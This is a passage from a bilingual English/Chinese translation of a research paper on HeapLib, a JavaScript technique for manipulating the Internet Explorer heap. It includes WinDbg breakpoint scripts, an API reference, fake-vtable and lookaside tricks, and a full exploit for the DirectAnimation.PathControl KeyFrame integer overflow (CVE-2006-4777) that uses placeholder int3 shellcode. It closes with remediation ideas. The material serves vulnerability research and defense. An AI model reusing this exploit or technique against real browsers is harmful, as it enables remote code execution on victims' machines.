bu ntdll!RtlFreeHeap "j ((poi(esp+4)==0x150000) & (poi(esp+c)!=0))
    '.printf \"free(0x%x), size=0x%x\", poi(esp+c), wo(poi(esp+c)-8)*8-
8; .echo; g'; 'g';"

bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == babe)
    '.printf \"DEBUG: %mu\", poi(poi(poi(esp+14)+8)+8); .echo; g';"

bu jscript!JsAtan "j (poi(poi(esp+14)+8) == babe)
    '.echo DEBUG: Enabling heap breakpoints; be 0 1; g';"

bu jscript!JsAsin "j (poi(poi(esp+14)+8) == babe)
```

```
        '.echo DEBUG: Disabling heap breakpoints; bd 0 1; g';"

    bu jscript!JsAcos "j (poi(poi(esp+14)+8) == babe)
        '.echo DEBUG: heapLib breakpoint'"

    bd 0 1
    g
```

The first breakpoint is at the RET instruction of ntdll!RtlAllocateHeap. The address above is valid for Windows XP SP2, but might need adjustment for other systems. The breakpoints also assume that the default process heap is at 0x150000. WinDbg's uf and !peb commands provide these addresses:

第一个断点是下在 ntdll!RtlAllocateHeap 函数中 RET 指令上的。这个地址是我在 Windows XP SP2 下计算出来的，如果你想在其他操作系统中进行调试的话，恐怕你需要对这个地址进行一下调整。同时我输入上面这些指令时，也假设进程默认堆的起始地址是在 0x150000 上的。你可以使用 WinDbg 的 uf 和!peb 指令来获取自己系统上进程默认堆的地址，如下图所示：

```
0:012> uf ntdll!RtlAllocateHeap
...
ntdll!RtlAllocateHeap+0xea7:
7c9106e6 e817e7ffff      call    ntdll!_SEH_epilog (7c90ee02)
7c9106eb c20c00          ret     0Ch

0:012> !peb
PEB at 7ffdf000
    ...
    ProcessHeap:       00150000
```

After setting these breakpoints, running the sample code above will display the following debugging output in WinDbg:

在设置了这些断点之后，运行上面的代码，你应该能在 WinDbg 中看到如下所示的输出：

```
DEBUG: Hello!
DEBUG: Enabling heap breakpoints
alloc(0x80) = 0x1e0b48
DEBUG: heapLib breakpoint
eax=00000001 ebx=0003e660 ecx=0003e67c edx=00038620 esi=0003e660
edi=0013dc90
eip=75ca315f esp=0013dc6c ebp=0013dca0 iopl=0         nv up ei ng nz ac
pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000296
jscript!JsAcos:
75ca315f 8bff            mov     edi,edi
0:000> g
DEBUG: Flushing the OLEAUT32 cache
                          free(0x1e0b48), size=0x80
DEBUG: Disabling heap breakpoints
```

We can see that the alloc() function allocated 0x80 bytes of memory at address 0x1e0b48, which was later freed by free(). The sample program also triggers a breakpoint in WinDbg by calling debugBreak() from HeapLib. This function is implemented as a call to the JavaScript acos() function with a special parameter, which triggers the WinDbg breakpoint on jscript!JsAcos. This gives us the opportunity to inspect the state of the heap before continuing with the JavaScript execution.

我们看见 alloc()函数分配了地址 0x1e0b48 上的 0x80 个字节的内存块，然后又用 free()函数把这个内存块给释放掉了。在这个示例程序中我们还看到 WinDbg 在调用 HeapLib 中的 debugBreak()函数时自动下了一个断点。debugBreak()这个函数实际上是以用一个特殊的参数（0xbabe）调用了 JavaScript 中的 acos()函数，从而触发了断点（在 WinDbg 中的断点位于

jscript!JsAcos）的方式来实现的（详见 HeapLib.js 的第 102～104 行）。调用这个函数我们就能在程序运行时，暂停一下程序，看看堆中的情况。

Utility functions

The library also provides functions for manipulating data used in exploitation. Here's an example of using the addr() and padding() functions to prepare a fake vtable block:

在 HeapLib.js 中还提供了一些用来操作 exploitation 要用的数据的函数。下面是用 addr()和 padding()函数准备一个假冒的虚函数表块的代码。

```
var vtable = "";
for (var i = 0; i < 100; i++) {
    // Add 100 copies of the address 0x0C0C0C0C to the vtable
    vtable = vtable + heap.addr(0x0C0C0C0C);
}

// Pad the vtable with "A" characters to make the block size exactly
1008 bytes
vtable = vtable + heap.padding((1008 - (vtable.length*2+6))/2);
```

For more details, see the description of the functions in the next section.

更进一步关于的 HeapLib 的信息，详见下一节。

HeapLib reference（这一段，你应该去看 HeapLib 的源代码，不译）

Object-oriented interface

The HeapLib API is implemented as an object-oriented interface. To use the API in Internet Explorer, create an instance of the *heapLib.ie* class.

Constructor	Description
heapLib.ie(maxAlloc, heapBase)	Creates a new heapLib API object for Internet Explorer. The *ma* maximum block size that can be allocated using the alloc() func Arguments: • maxAlloc - maximum allocation size in bytes (defaults to 6 • heapBase - base of the default process heap (defaults to 0

All functions described below are instance methods of the *heapLib.ie* class.

Debugging

To see the debugging output, attach WinDbg to the IEXPLORE.EXE process and set the breakpoints described above. If the debugger is not present, the functions below have no effect.

Function	Description
debug(msg)	Outputs a debugging message in WinDbg. The *msg* argument string concatenation to build the message will result in heap all Arguments: • msg - string to output
debugHeap(enable)	Enables or disables logging of heap operations in WinDbg. Arguments: • enable - a boolean value, set to *true* to enable heap loggin
debugBreak()	Triggers a breakpoint in the debugger.

Utility functions

Function	Description
padding(len)	Returns a string of a specified length, up to the maximum alloc constructor. The string contains "A" characters. Arguments: • len - length in characters Example: `heap.padding(5)            // returns "AAAAA"`
round(num, round)	Returns an integer rounded up to a specified value. Arguments: • num - integer to round • round - value to round to Example: `heap.round(210, 16)        // returns 224`
hex(num, width)	Converts an integer to a hex string. This function uses the heap Arguments: • num - integer to convert • width - pad the output with zeroes to a specified width (op

	Example: `heap.hex(210, 8)           // returns "000000D2"`

addr(addr)	Converts a 32-bit address to a 4-byte string with the same repr function uses the heap.
	Arguments:
	• addr - integer representation of the address
	Example:
	`heap.addr(0x1523D200)      // returns the equivalent`
	`                            // unescape("%uD200%u1523`

Memory allocation

Function	Description

alloc(arg, tag)	Allocates a block of a specified size with the system memory all equivalent to a call to HeapAlloc(). If the first argument is a nur new block, which is filled with "A" characters. If the argument is a new block of size `arg.length * 2 + 6`. In both cases the size multiple of 16 and not equal to 32, 64, 256 or 32768.
	Arguments:
	• arg - size of the memory block in bytes, or a string to strd
	• tag - a tag identifying the memory block (optional)
	Example:
	`heap.alloc(512, "foo") // allocates a 512 byte block`
	`                        // "foo" and fills it with "A`
	`heap.alloc("BBBBB")    // allocates a 16 byte block`
	`                        // and copies the string "BBB`

free(tag)	Frees all memory blocks marked with a specific tag with the sys to this function is equivalent to a call to HeapFree(). Arguments: • tag - a tag identifying the group of blocks to be freed Example: `heap.free("foo")     // free all memory blocks tagge`

gc()	Runs the garbage collector and flushes the OLEAUT32 cache. Ca using alloc() and free().

Heap manipulation

The following functions are used for manipulating the data structures of the memory allocator in Windows 2000, XP and 2003. The heap allocator in Windows Vista is not supported, due to its significant differences.

Function	Description

freeList(arg, count)	Adds blocks of the specified size to the free list and makes sure heap must be defragmented before calling this function. If the s less than 1024, you have to make sure that the lookaside is ful
	Arguments:
	• arg - size of the new block in bytes, or a string to strdup
	• count - how many free blocks to add to the list (defaults to
	Example:
	`heap.freeList("BBBBB", 5) // adds 5 blocks containin`
	`// string "BBBBB" to the f`

lookaside()	Adds blocks of the specified size to the lookaside. The lookaside this function.
	Arguments:
	• arg - size of the new block in bytes, or a string to strdup
	• count - how many blocks to add to the lookaside (defaults
	Example:
	`heap.lookaside("BBBBB", 5) // puts 5 blocks containi`
	`// string "BBBBB" on the`

lookasideAddr()	Return the address of the head of the lookaside linked list for b the *heapBase* parameter from the *heapLib.ie* constructor. Arguments: • arg - size of the new block in bytes, or a string to strdup Example: `heap.lookasideAddr("BBBBB") // returns 0x150718`
vtable(shellcode, jmpecx, size)	Returns a fake vtable that contains shellcode. The caller should and use the address of the lookaside head as an object pointer. address of the object must be in eax and the pointer to the vta

	function call through the vtable from ecx+8 to ecx+0x80 will re
	This function uses the heap.
	
	Arguments:
	• shellcode - shellcode string
	• jmpecx - address of a jmp ecx or equivalent instruction
	• size - size of the vtable to generate (defaults to 1008 byte
	
	Example:
	`heap.vtable(shellcode, 0x4058b5) // generates a 1008`
	`                                  // with pointers to`

Using HeapLib

使用 HeapLib

Putting blocks on the free list

把内存块释放到 free list 中去（为了表述方便，这一小标题被提前了一点☺）

Assume that we have a piece of code that allocates a block of memory from the heap and uses it without initialization. If we control the data in the block, we'll be able to exploit this vulnerability. We need to allocate a block of the same size, fill it with our data, and free it. The next allocation for this size will get the block containing our data.

假设我们发现了一段有漏洞的代码，这个漏洞是代码从堆中分配一个内存块（大小记为 N）并且在没有初始化的情况下就使用了堆中的数据（比如把未初始化的数据当成了函数指针;)）。那么如果我们能预先往这个内存块中写上适当的数据，我们实际上就已经能够利用这个漏洞了。为了能利用这个漏洞，我们需要先分配一个大小同样为 N 的内存块，并且往这个内存块中写入我们的数据，然后释放掉这个内存块，那么下一次，也就是有漏洞的代码要求分配空间时，它就会得到我们刚才分配，写入数据并且释放掉的那个内存块。

The only obstacle is the coalescing algorithm in the system memory allocator. If the block we're freeing is next to another free block, they will get coalesced into a bigger block, and the next allocation might not get a block containing our data. To prevent this, we will allocate three blocks of the same size, and free the middle one. Defragmenting the heap beforehand will ensure that the three blocks are consecutive, and the middle block will not get coalesced.

但是这一招有时会不太灵，因为如果我们分配的内存块的相邻的一个内存块是一个空闲块的话，当我们释放这个内存块的时候，会引发空闲内存块的合并操作，系统会把这 2 个内存块合并成一个大的内存块。这样下一次有漏洞的代码要求分配空间时，它就不一定会得到我们我们刚才分配到的那个内存块了。为了防止这个问题的发生，我们可以连着分配 3 个大小为 N 的内存块，然后释放掉中间的那个，这样就能保证与被释放的这个内存块相邻的内存块都不是空闲块。如下面这段代码：

```
heap.alloc(0x2020);               // allocate three consecutive blocks
heap.alloc(0x2020, "freeList");
heap.alloc(0x2020);

heap.free("freeList");            // free the middle block
```

Defragmenting the heap

消除堆中的内存碎片

Heap fragmentation is a serious problem for exploitation. If the heap starts out empty the heap allocator's determinism allows us to compute the heap state resulting from a specific sequence of allocations. Unfortunately, we don't know the heap state when our exploit is executed, and this makes the behavior of the heap allocator unpredictable.

事实上，上面这段代码也不一定有效（啊哟，谁丢的臭鸡蛋啊？）。问题是堆中可能存在内存碎片。

如果在我们的 exploitation 运行之初，堆是“干净的”，也就是说在我们的 exploitation 运行之前，还没有程序使用过堆中的内存空间，我们就可以严格控制堆中的状态，也就是能保证上面提到的连续分配的 3 个大小为 N 的内存块是**紧紧相连**的。但是事实上，我们不知道在我们的 exploitation 运行之前，堆是不是“干净的”，这就使我们基本上无法确定堆中内存的分配函数（比如 HeapAlloc()）究竟会分配那块内存给我们。

To deal with this problem, we need to defragment the heap. This can be accomplished by allocating a large number of blocks of the size that our exploit will use. These blocks will fill all available holes on the heap and guarantee that any subsequent allocations for blocks of the same size are allocated from the end of the heap. At this point the behavior of the allocator will be equivalent to starting with an empty heap.

这话怎么说呢？因为如果堆中有内存碎片，这个内存碎片又恰好等于或者大于 N，那么我们第一次申请分配一个大小为 N 的内存块时，会直接分配到这个内存碎片。这样我们就不能保证连续分配的 3 个大小为 N 的内存块是**紧紧相连**的。如果堆中有多个恰好等于或者大于 N 的内存碎片又会怎样呢……

为了对付这个问题，我们需要消除堆中的内存碎片。假设堆中有 X 个等于或者大于 N 的内存碎片，我们可以通过预先分配 X 个或者多于 X 个大小为 N 的内存块来消除这些内存碎片的影响。当然我们不可能知道这个 X 是几，但是我们可以假定这个 X 是一个比较大的数，通过分配很多个大小为 N 的内存块来达到消除内存碎片的目的。（反正多分配几个内存块不会坏什么事☺）

The following code will defragment the heap with blocks of size 0x2010 bytes:

下面是一段示例代码，我们设 N==0x2010:

```
    for (var i = 0; i < 1000; i++)
        heap.alloc(0x2010);
```

The HeapLib library provides a convenience function that implements the technique described above. The following example shows how to add 0x2020 byte block to the free list:

在 HeapLib 中提供了一个 freelist()函数，这个函数把刚才我们讨论的这两个技术给封装了起来，你只要调用这个函数就能轻松的完成上面 2 个小标题中我们需要完成的任务了。下面是把一个大小为 0x2020 的内存块释放到 freelist 中去的代码。（译注：实际上还要考虑 lookaside，详见下面的讨论）

```
    heap.freeList(0x2020);
```

Emptying the lookaside

清空 **Lookaside** 表

To empty the lookaside list for a certain size, we just need to allocate enough blocks of that size. Usually the lookaside will contain no more than 4 blocks, but we've seen lookasides with more entries on XP SP2. We'll allocate 100 blocks, just to be sure. The following code shows this:

要清空 lookaside 表中的某一项还是比较简单的，一般情况下，lookaside 表中每一个项中只能容纳 4 个内存块，但是我曾经在 XP SP2 环境下见过 lookaside 表中一个项中包含超过 4 个内存块的情况，所以我还是保险一点，连续分配 100 个大小合适的内存块来清空 lookaside 表，下面是示例代码：

```
for (var i = 0; i < 100; i++)
    heap.alloc(0x100);
```

Freeing to the lookaside

把内存块释放到 lookaside 表中去

Once the lookaside is empty, any block of the right size will be put on the lookaside when we free it.

一旦 lookaside 表中的某一项被清空了，那么我们一旦释放一个大小合适的内存块的话，这个内存块就会被放到 lookaside 表中去。

```
// Empty the lookaside
for (var i = 0; i < 100; i++)
    heap.alloc(0x100);

// Allocate a block
heap.alloc(0x100, "foo");

// Free it to the lookaside
heap.free("foo");
```

The lookaside() function in HeapLib implements this technique:

在 HeapLib 中提供了一个名为 lookaside()的函数实现该功能。

```
// Empty the lookaside
for (var i = 0; i < 100; i++)
    heap.alloc(0x100);

// Add 3 blocks to the lookaside
heap.lookaside(0x100);
```

Using the lookaside for object pointer exploitation

使用 lookaside 伪造对象的虚函数表

It is interesting to follow what happens when a block is put on the lookaside. Let's start with an empty lookaside list. If the base of the heap is 0x150000, the address of the lookaside head for blocks of size 1008 will be 0x151e58. Since the lookaside is empty, this location will contain a NULL pointer.

我之所以这么关心 lookaside 表是有原因的。我们先从一个空的 lookaside 表讲起，我们设堆的基地址是 0x150000，那么与大小为 1008 字节的内存块对应的 lookaside 表项就应该位于

0x151e58。我已经说了现在假设 lookaside 表是空的，所以 0x151e58 这个位置上应该是一个NULL 指针。

Now let's free a 1008 byte block. The lookaside head at 0x151e58 will point to it, and the first four bytes of the block will be overwritten with a NULL to indicate the end of the linked list. The structure in memory looks just like what we need to exploit an overwritten object pointer:

现在，如果我释放一个大小为 1008 字节的内存块，由于 lookaside 表示空的，所以这个内存块就直接进入 lookaside 表了。进了 lookaside 表之后，我们释放的这个内存块的第一个 DWORD 就变成一个 NULL 了（表示这个 lookaside 链表结尾）。如下图所示，现在我们只要找个对象，把它的虚函数表改成 0x151e58 就齐活了☺

```
object pointer   -->   lookaside     -->   freed block
                       (fake object)       (fake vtable)

addr: xxxx             addr: 0x151e58      addr: yyyy
data: 0x151e58         data: yyyy          data: +0 NULL
                                                 +4 function pointer
                                                 +8 function pointer
                                                 ...
```

If we overwrite an object pointer with 0x151e58 and free a 1008 byte block containing a fake vtable, any virtual function call through the vtable will jump to a location of our choosing. The fake vtable can be built using the vtable() function in the HeapLib library. It takes a shellcode string and an address of a jmp ecx trampoline as arguments and allocates a 1008 byte block with the following data:

如果我们把一个对象指针改成 0x151e58，再释放一个包含我们伪造的虚函数表的 1008 字节的内存块，那么只要程序调用这个对象的虚函数，我们就能获得系统的控制权了。在 HeapLib 中我提供了一个 vtable()函数在实现这一过程。这个函数分配一个 1008 字节大小内存块，然后在这个内存块中填入如下图所示的数据。（译注：实际上这个内存块就是一个是 string 对象）

```
string length   jmp +124   addr of jmp ecx   sub [eax], al*2   shellcode
null terminator
4 bytes         4 bytes    124 bytes         4 bytes           x bytes
2 bytes
```

The caller should free the vtable to the lookaside and overwrite an object pointer with the address of the lookaside head. The fake vtable is designed to exploit virtual function calls where the object pointer is in eax and the vtable address in ecx:

主调函数把 vtable 释放到 lookaside 表中去，然后用 0x151e58（或者你计算出的 lookaside 表中该项的地址）（事实上这篇文章的核心就是讲这个，如何制造一个在很多环境下都可以成功运行的 exploit,因为一般的堆的 base address 是不变的，所以如果相对 base address 的位置也是不变的，那么这个地址在很多机器上就是不变的，这个地址的内容又是我们可以控制的，所以覆盖了对象指针，函数指针，凡是可以执行的指针都可以填上这个地址就可。他这篇文章前面清空这个，清空那个，就是让每台机器的这个堆的状态保持一样。）覆盖一个对象的指针。这个伪造的虚函数表是专门用来利用这类虚函数表被覆盖的漏洞的。在这类漏洞中，对象的指针总是被放在 EAX 寄存器中，而 ECX 中总是放着虚函数表的地址。

```
mov ecx, dword ptr [eax]     ; get the vtable address
push eax                     ; pass C++ this pointer as the first
argument
call dword ptr [ecx+08h]     ; call the function at offset 0x8 in the
vtable
```

Any virtual function call from ecx+8 to ecx+0x80 will result in a call to the jmp ecx trampoline. Since ecx points to the vtable, the trampoline will jump back to the beginning of the block. Its first four bytes contain the string length when it's in use, but after it's freed to the lookaside, they are overwritten with NULL. The four zero bytes are executed as two `add [eax], al` instructions. The execution reaches the `jmp +124` instruction, which jumps over the function pointers and lands on the two `sub [eax], al` instructions at offset 132 in the vtable. These two instructions fix the memory corrupted earlier by the sub instructions, and finally the shellcode is executed.

为什么要在内存中写入这么多 JMP ECX 指令的地址呢？你仔细看一下这些地址的位置。这样写是为了保证，如果程序调用对象的第 3 个到第 32 个虚函数（也就是 ecx+8 到 ecx+0x80），都会去执行 JMP ECX。由于 ECX 中装的是虚函数表，所以程序又会跳回到这个块的起始位置。如您所见，当这个 string 对象还没有被删除之前，最前面的这个 DWORD 应该是用来表示字符串的长度的。但一旦这个 string 对象被释放进了 lookaside 表，这个 DWORD 就变成了 NULL。这 4 个全零的字节会被当成 2 条“`add [eax], al`”指令。所以在 string length 之后我们写了一句 jmp+124，然后又写了一句“`sub [eax], al*2`”用来消除 2 条“`add [eax], al`”指令的影响。最后，呵呵，当然就该轮到 shellcode 执行了☺

Exploiting heap vulnerabilities with HeapLib

DirectAnimation.PathControl KeyFrame vulnerability

As our first example we will use the integer overflow vulnerability in the DirectAnimation.PathControl ActiveX control (CVE-2006-4777). This vulnerability is triggered by creating an ActiveX object and calling its KeyFrame() method with a first argument larger than 0x07ffffff.

下面我演示一个整形溢出问题的 exploit。这个整形溢出漏洞存在于 ActiveX 控件的 DirectAnimation.PathControl(CVE-2006-4777)中。触发条件是用一个大于 0x07ffffff 的数当 KeyFrame()的第一个参数。

The KeyFrame method is documented in the Microsoft DirectAnimation SDK as follows:

下面是微软 DirectAnimation SDK 文档中给出的关于 KeyFrame 方法的信息：

KeyFrame Method

Specifies x- and y-coordinates along the path, and a time to reach each point. The first point defines the path's starting point. This method can be used or modified only when the path is stopped.

Syntax

```
KeyFrameArray = Array( x1, y1, ..., xN, yN )
TimeFrameArray = Array( time2 , ..., timeN )
pathObj.KeyFrame( npoints, KeyFrameArray, TimeFrameArray )
```

Parameters

npoints

Number of points to be used to define the path.

x1, y1,..., xN, yN

Set of x- and y- coordinates that identify the points along the path.

time2,..., timeN

Respective times that the path takes to reach each of the respective points from the previous point.

KeyFrameArray

Array that contains the x- and y-coordinate definitions.

TimeFrameArray

Array that contains the time values between the points that define the path, starting at the x1 and y1 point through xN and yN points (the last set of points in the path). The path begins at point x1 and y1 with a time value of 0.

The following JavaScript code will trigger the vulnerability:

下面这段是触发这个漏洞的 JavaScript 代码：

```
var target = new ActiveXObject("DirectAnimation.PathControl");
target.KeyFrame(0x7fffffff, new Array(1), new Array(1));
```

Vulnerable code

出现问题的代码

The vulnerability is in the CPathCtl::KeyFrame function in DAXCTLE.OCX. The decompiled code of the function is shows below:

出现问题的代码位于 DAXCTLE.OCX 中的 CPathCtl::KeyFrame 函数。下面给出的是这个函数的一部分反汇编出来的代码：

```
long __stdcall CPathCtl::KeyFrame(unsigned int npoints,
                                  struct tagVARIANT KeyFrameArray,
                                  struct tagVARIANT TimeFrameArray)
{
    int err = 0;
    ...

    // The new operator is a wrapper around CMemManager::AllocBuffer. If
the
    // size size is less than 0x2000, it allocates a block from a
special
    // CMemManager heap, otherwise it is equivalent to:
    //
    // HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8) + 8

    buf_1                  = new((npoints*2) * 8);
    buf_2                  = new((npoints-1) * 8);
    KeyFrameArray.field_C  = new(npoints*4);
    TimeFrameArray.field_C = new(npoints*4);

    if (buf_1 == NULL || buf_2 == NULL || KeyFrameArray.field_C == NULL
||
        TimeFrameArray.field_C == NULL)
    {
        err = E_OUTOFMEMORY;
        goto cleanup;
    }

    // We set an error and go to the cleanup code if the KeyFrameArray
array
    // is smaller than npoints*2 or TimeFrameArray is smaller than
npoints-1

    if ( KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 ||
        TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0)
    {
        err = E_FAIL;
        goto cleanup;
    }

    ...

cleanup:
    if (npoints > 0)

        // We iterate from 0 to npoints and call a virtual function on
all
        // non-NULL elements of KeyFrameArray->field_C and
TimeFrameArray->field_C

        for (i = 0; i < npoints; i++) {
            if (KeyFrameArray.field_C[i] != NULL)
                KeyFrameArray.field_C[i]->func_8();

            if (TimeFrameArray.field_C[i] != NULL)
                TimeFrameArray.field_C[i]->func_8();
        }
    }

    ...

    return err;
}
```

The KeyFrame function multiplies the npoints argument by 16, 8 and 4 and allocates four buffers. If npoints is greater than 0x40000000 the allocation size will wrap around and the function will allocate four small buffers. In our exploit, we'll set npoints to 0x40000801, and the function will allocate buffers of size 0x8018, 0x4008 and two of size 0x200c. We want the smallest buffer to be larger than 0x2000 bytes because smaller allocations will come from the CMemManager heap instead of the system allocator.

KeyFrame 函数把 npoints 参数乘以 16,8 和 4，然后分配了 4 个 buffer。如果 npoints 大于 0x40000000 的话，实际上就溢出了，程序申请的 4 个 buffer 就会过小。在我们这个 exploit 中，我们把 npoints 写成 0x40000801，这样程序要求分配的 4 个 buffer 就只有 0x8018, 0x4008 和 2 个 0x200c。当然我是故意要使最小的那 2 个 buffer 大于 0x2000 的。因为这样这 2 个 buffer 就会由 CMemManager 系列函数，而不是系统的内存分配函数来分配了。

After allocating the buffers, the function calls CSafeArrayOfDoublesAccessor::ToDoubleArray() to initialize the array accessor objects. If the size of KeyFrameArray is less than npoints, ToDoubleArray will return E_INVALIDARG. The cleanup code executed in this case will iterate through the two 0x2004 byte buffers and call a virtual function on each non-NULL element in the buffer.

在分配了 buffer 之后，这个函数将调用 CSafeArrayOfDoublesAccessor::ToDoubleArray()来初始化对象数组。如果 KeyFrameArray 的大小小于 npoints，ToDoubleArray 就会直接跳转到 INVALIDARG 进行异常处理。这段异常处理代码挨个检查 2 个较小的 buffer 中的每一个 DWORD，如果不是 NULL 的话，就把它当成对象指针，并调用对象的虚函数。

These buffers are allocated with the HEAP_ZERO_MEMORY flag and contain only NULL pointers. The code will iterate from 0 to npoints (which is 0x40000801), however, and will eventually access data past the end of the 0x200c byte buffers. If we control the first dword after the KeyFrameArray.field_C buffer, we can point it to a fake object with a pointer to the shellcode in its vtable. The virtual function call to func_8() will execute our shellcode.

由于这 2 个 buffer 在分配时是使用了 HEAP_ZERO_MEMORY 参数的，所以 buffer 中是写满了 NULL 的。但问题是检查的范围是 0 到 npoints（也就是 0x40000801），所以这个检查会越界，

程序会把 buffer 后面的内存中的数据也当成是 buffer 中的数据进行检查。即他会访问 0x200c 之后的数据。我们前面讨论过了，我们能控制 KeyFrameArray.field_C 这个 buffer 之后的一个 DWORD。我们把它写成指向 lookaside 表中某一项的一个指针，这样当异常处理代码把这个非 NULL 的 DWORD 当成一个对象的指针，并调用这个对象的 func_8()虚函数时，我们的 shellcode 就运行了。

Exploit

利用代码

To exploit this vulnerability, we need to control the first four bytes after the 0x200c byte buffer. First, we will defragment the heap with blocks of size 0x2010 (the memory allocator rounds all sizes to 8, so 0x200c gets rounded up to 0x2010). Then we will allocate two 0x2020 byte memory blocks, write the fake object pointer at offset 0x200c, and free them to the free list.

利用这个漏洞的关键在于我们要能控制在 0x200c 之后的那个 DWORD 中的数据。首先我们清除堆中 0x2010 级别上的内存碎片（因为我们要分配的是 0x200c 大小的 string 对象，这个大小是属于 0x2010 级别的）。然后我们分配 2 个 0x2020（疑为 0x2010）大小的内存块，把我们伪造的对象指针（就是 0x151e58），写到偏移 0x200c 的位置上，然后再把这 2 个内存块给释放掉。

When the KeyFrame function allocates two 0x200c byte buffers, the memory allocator will reuse our 0x2020 byte blocks, zeroing only the first 0x200c bytes. The cleanup loop at the end of the KeyFrame function will reach the fake object pointer at offset 0x200c and will call a function through its virtual table. The fake object pointer points to 0x151e58, which is the head of the lookaside list for blocks of size 1008. The only entry on the list is our fake vtable.

然后当 KeyFrame 要分配内存时，就会得到刚才那 2 个 0x2010 大小的内存块的地址。KeyFrame 会把这 2 个内存块 0～0x200c 部分全部写零。但是 0x200c～0x2010 的这个 DWORD 将被保留下来。当 KeyFrame 的异常处理代码运行的时候，就会把 0x200c～0x2010 的这个 DWORD 当成对象的指针，然后调用这个函数的虚函数，进而运行我们的 shellcode。

The code that calls the virtual function is:

下面这段代码就是运行我们的 shellcode 的关键几步：

```
.text:100071E4                  mov     eax, [eax]      ; object pointer
.text:100071E6                  mov     ecx, [eax]      ; vtable
.text:100071E8                  push    eax
.text:100071E9                  call    dword ptr [ecx+8]
```

The virtual call is through ecx+8, and it transfers execution to a jmp ecx trampoline in IEXPLORE.EXE. The trampoline jumps back to the beginning of the vtable and executes the shellcode. For more detailed information about the vtable, refer to the previous section.

由于调用的是 func_8()也就是 ecx+8 处所指的函数，由于我们的 shellocde 中这里写入的是 jmp ecx 的地址，所以程序就会去执行 jmp ecx 结果就跳回了我们的 shellcode 的头部，进而一步一步的执行 shellcode 了。

The full exploit code is shown below:

完整的利用代码如下：

```
        // Create the ActiveX object
```

```
    var target = new ActiveXObject("DirectAnimation.PathControl");

    // Initialize the heap library
    var heap = new heapLib.ie();

    // int3 shellcode
    var shellcode = unescape("%uCCCC");

    // address of jmp ecx instruction in IEXPLORE.EXE
    var jmpecx = 0x4058b5;

    // Build a fake vtable with pointers to the shellcode
    var vtable = heap.vtable(shellcode, jmpecx);

    // Get the address of the lookaside that will point to the vtable
    var fakeObjPtr = heap.lookasideAddr(vtable);

    // Build the heap block with the fake object address
    //
    // len      padding         fake obj pointer  padding   null
    // 4 bytes  0x200C-4 bytes  4 bytes           14 bytes  2 bytes

    var fakeObjChunk = heap.padding((0x200c-4)/2) +
heap.addr(fakeObjPtr) + heap.padding(14/2);

    heap.gc();
    heap.debugHeap(true);

    // Empty the lookaside
    heap.debug("Emptying the lookaside")
    for (var i = 0; i < 100; i++)
        heap.alloc(vtable)

    // Put the vtable on the lookaise
    heap.debug("Putting the vtable on the lookaside")
    heap.lookaside(vtable);

    // Defragment the heap
    heap.debug("Defragmenting the heap with blocks of size 0x2010")
    for (var i = 0; i < 100; i++)
        heap.alloc(0x2010)

    // Add the block with the fake object pointer to the free list
    heap.debug("Creating two holes of size 0x2020");
    heap.freeList(fakeObjChunk, 2);

    // Trigger the exploit
    target.KeyFrame(0x40000801, new Array(1), new Array(1));

    // Cleanup
    heap.debugHeap(false);
```

Remediation

补救措施

This section of the paper will briefly introduce some ideas for protecting browsers against the exploitation techniques described above.

这一节中我们将简单介绍一下保护浏览器防止执行 exploit 的技术。

Heap isolation

建立专门的堆

The most obvious, but not completely effective, method for protecting the browser heap is to use a dedicated heap for storing JavaScript strings. This requires a very simple change in the OLEAUT32 memory allocator and will render the string allocation technique completely ineffective. The attacker will still be able to manipulate the layout of the string heap, but will have no direct control over the heap used by MSHTML and ActiveX object.

这是很显然的，但也不是完全有效，我们应该建立一个专门的堆来存放JavaScript 的string 对象。要做到这一点，只要对 OLEAUT32 中的内存分配函数作一点点很小的改进就可以使通过 string 对象注入 shellcode 的方法完全失效。当然，这样做攻击者还是能完全能控制 string 对象所在那个堆中的内存的分配，但是这样攻击者就不能控制 MSHTML 和 ActiveX 对象公用的那个堆了。

If this protection mechanism is implemented in a future Windows release, we expect exploitation research to focus on methods for controlling the ActiveX or MSHTML heaps through specific ActiveX method calls or DHTML manipulations.

如果在 Windows 的下一个版本的操作系统中实现了这个保护机制，我想漏洞利用的研究者们就只能被迫去研究如果通过一些特殊的 ActiveX 方法调用或者 DHTML 操作来控制 ActiveX 或者 MSHTML 公用的那个堆了。

In terms of security architecture, the heap layout should be treated as a first class exploitable object, similar to the stack or heap data. As a general design principle, untrusted code should not be given direct access to the heap used by other components of the application.

从计算机安全的角度出发考虑问题，如果黑客能控制堆中内存分配，他就能利用漏洞进行攻击。这个问题应该被当作与栈溢出、堆腐烂一样具有广泛威胁的可被利用的漏洞。所以于一般的设计原则中，应该保证未受信任的代码不应该可以直接使用应用程序中提供的组件访问堆。

Non-determinism

Introducing non-determinism into the memory allocator is a good way to make heap exploitation more unreliable. If the attacker is not able to predict where a particular heap allocation will go, it will become much harder to set up the heap in a desired state. This is not a new idea, but to our knowledge it has not been implemented in any major operating system.

所谓的 non-determinism 就是随机分配堆中的数据，让攻击者不能准确的预测出某次内存分配将会把哪块内存分配出来，这样攻击者就很难把堆调整到某种他需要的状态。这样就能有效的降低堆溢出漏洞的 exploit 的有效性。但遗憾的是，到目前为止，我还不知道在这方面有什么新的进展，至少在任何一种主流的操作系统中都没有实现这一想法。

Conclusion

结论

The heap manipulation technique presented in this paper relies on the fact that the JavaScript implementation in Internet Explorer gives untrusted code executing in the browser the ability to perform arbitrary allocations and frees on the system heap. This degree of control over the heap has been demonstrated to significantly increase the reliability and precision of even the hardest heap corruption exploits.

本文中描述的有关的堆操作技术是基于 IE 中的 JavaScript 实现中错误的授予未被信任代码在浏览器中执行的，并在系统堆中任意分配和删除内存块的问题的。我们演示的对堆中内存块的精确的操控技巧显著的增加了之前很难利用的堆腐烂漏洞的 exploit 的可靠性和精确度。

Two possible avenues for further research are Windows Vista exploitation and applying the same techniques to Firefox, Opera and Safari. We believe that the general idea of manipulating the heap from a scripting language is also applicable to many other systems that allow untrusted script execution.

有兴趣的读者可以进一步研究在 Windows Vista 中的利用方式，以及类似的漏洞在 Firefox, Opera 以及 Safari 中的利用方式。我们相信，由于大多数浏览器中都允许未经信任的脚本在浏览器中执行，这样通过脚本语言来操作堆的状态进而开发漏洞 exploit 的方法会有很广阔的应用前景。

Bibliography

